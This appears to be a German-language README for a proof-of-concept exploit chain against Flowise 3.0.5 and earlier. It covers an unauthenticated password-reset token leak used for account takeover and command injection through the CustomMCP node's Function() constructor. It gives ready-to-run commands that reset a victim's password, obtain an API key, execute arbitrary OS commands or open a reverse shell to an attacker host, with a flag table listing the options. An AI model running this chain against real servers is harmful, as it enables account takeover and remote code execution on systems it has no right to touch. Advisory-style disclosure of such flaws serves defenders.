azureadtrent/cve-2025-58434-59528CVE-2025-58434 und CVE-2025-59528 Chain-POC
Exploit-Kette für zwei Schwachstellen, die Flowise <= 3.0.5 betreffen.
Der Forgot-Password-Endpunkt gibt ein gültiges Passwort-Reset-Token in der API-Antwort zurück, ohne eine Authentifizierung zu erfordern. Ein Angreifer, der eine gültige E-Mail-Adresse kennt, kann das Passwort eines beliebigen Kontos ohne Benutzerinteraktion zurücksetzen.
Der CustomMCP-Knoten übergibt benutzergesteuerte Eingaben direkt an einen Function()-Konstruktor mit vollen Node.js-Berechtigungen. Ein authentifizierter Benutzer mit einem gültigen API-Key kann beliebige Betriebssystembefehle als Benutzer des Flowise-Prozesses ausführen.
Behoben in: Flowise 3.0.6
pip install requestsVollständige ATO-Kette (setzt Passwort zurück, fordert API-Key an, startet Reverse-Shell):
python3 flowise_chain.py -t http://target -e [email protected]
Nur RCE (wenn Sie bereits einen API-Key haben):
python3 flowise_chain.py -t http://target --api-key <KEY> -c "id"
Reverse-Shell mit vorhandenem Key:
python3 flowise_chain.py -t http://target --api-key <KEY> --lhost 10.0.0.1 --lport 4444
| Flag | Beschreibung |
|---|---|
-t, --target | Ziel-URL |
-e, --email | E-Mail des Zielkontos (löst ATO-Kette aus) |
--api-key | API-Key direkt angeben (überspringt ATO) |
-c, --command | Auszuführender Befehl |
--lhost | Angreifer-IP für Reverse-Shell |
--lport | Angreifer-Port für Reverse-Shell (Standard: 4444) |
--new-password | Passwort für den Reset (Standard: Pwn3d!2026) |
-k, --insecure | TLS-Überprüfung überspringen |
Aufgrund einer Eigenart in Flowise 3.0.5 aktualisiert der Reset-Passwort-API-Endpunkt nicht sofort die vom Login-Endpunkt akzeptierten Anmeldeinformationen. Das Skript pausiert nach dem Reset und fordert Sie auf, sich manuell in der Benutzeroberfläche anzumelden und den API-Key von /apikey zu kopieren.